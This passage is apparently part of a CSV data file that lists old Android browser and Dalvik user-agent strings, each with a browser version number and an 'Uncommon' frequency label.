Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; SGH-T839 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Kurio7 Build/ICS) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; GT-S6102 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Le Pan TC802A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; MB525 Build/3.4.2-107_JDN-9) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; PJ83100/3.18.502.6 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; KFJWI Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; RCT6077W2 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5300B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.2.2; GT-P5113 Build/JDQ39),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.1; en-ca; GT-P7500R Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-au; GT-S7500T Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; Lenovo-A269i/S001) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID4 Build/9.8.2O-72_VZW-18) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-au; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; pt-br; GT-S7582L Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I727 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0.1; SAMSUNG-SGH-I337 Build/LRX22C),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; MB886 Build/9.8.0Q-97_MB886_FFW-28) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SCH-I605 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4; en-us; SAMSUNG-SGH-I727 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; ME302C Build/JSS15Q) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; DROID2 GLOBAL Build/4.5.1_57_D2GA-59) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530U Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 USCC-R530U\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; GT-P5110 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; M4 SS1060 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I727 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3; en-us; SAMSUNG-SGH-I717 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-gb; GT-P1000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MID8048 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; ru-ru; GT-P7500 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; fi-fi; GT-P5200 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; Sony Tablet S Build/TISU0143) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC6600LVW 4G Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; Android SDK built for x86 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-I9305 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; GT-I8190L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SCH-I535 Build/KOT49H),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; ADR8995XE Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; sv-se; NetTAB THOR mini Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; ar-ae; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.1.1; Lenovo TB2-X30F Build/LenovoTB2-X30F),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; GT-P5113 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; A210 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; M4 SS1070 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-I9070 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; KFSOWI Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-au; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; he-il; GT-S7580L Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; ADR6425LVW 4G Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-S6012 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; ME173X Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; fi-fi; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-E980/E98010g Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S5839i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; SAMSUNG-SGH-I897/I897UCJH7 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-P5100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-E739 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/V1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2.1; en-us; K1 Build/HTK75C) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; HTCONE Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; C6522N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-S7500 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LG-LG855 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; GT-P1010 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; GT-S5570 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pt-br; GT-S5301B Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; HTC6500LVW 4G Build/KTU84L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDDG-Android-3.0.14,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; IdeaTabA1000-F Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; AX107 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-I545 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; MID713 Build/MID713) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pt-br; GT-S7562L Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; rk31sdk Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; Endeavour 800NG Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MID7048 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; VM670 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P870/P87020d Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; ru-ru; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SAMSUNG-SGH-I747 Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N8000 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Z665C Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; GT-N7100 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; C6730 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S7500L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; HTC_WildfireS_A510e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; GT-I9100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; N9520 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0; en-us; A51 Build/MocorDroid4.0) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 6.0.1; SM-G610F Build/MMB29K),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux U Android 4.1.1 en-gb Build/KLP) AppleWebKit/534.30 (KHTML, likeGecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-S950C Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-mx; ALCATEL ONE TOUCH 7040A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC Wildfire Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; Vortex Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.1.1; Navori QL Stix 3500 Build/LMY48Y),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ph; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; es-us; Sprint APA9292KT Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; PM36100/1.17.502.5 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; M865C Build/HuaweiM865C) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Galaxy Nexus Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; es-us; GT-P5110 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; es-us; HUAWEI Y530-U051 Build/HuaweiY530-U051) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Hydro Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; ALCATEL 4015T Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T520 Build/KOT49H) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Safari/537.16\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; LG-P999 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; HUAWEI Y330-U01 Build/HuaweiY330-U01) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; it-it; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0; en-us; GT-I9300 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; pt-br; SM-G355M Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; ar-ae; GT-S7582 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; ar-ae; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Z932L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Mobile Safari/534.30\",4.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; it-it; CT1002 Build/ICS.b02ref.20120331) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; D2-721G Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; M7 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.3.1; WT22M-FI Build/JLS36I),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I437Z Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z669 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-LW770 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-S5282 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; HUAWEI Y600-U151 Build/HUAWEIY600-U151) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0.2; SM-T530NU Build/LRX22G),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-N7100 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T879 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; HUAWEI G700-U00 Build/HuaweiG700-U00) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; Micromax A47 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M950 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ZTE-X500 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; Z797C Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; AT300 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; U8667 Build/HuaweiU8667) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; T-Mobile myTouch Build/HuaweiU8680) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; PantechP8000 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; ZTE-N910 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8552 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; cm_tenderloin Build/IMM76L; CyanogenMod-9) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; it-it; GT-P5100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5839i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-za; GT-P5200 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110/1.54.502.16 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HUAWEI Y360-U31 Build/HUAWEIY360-U31) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile 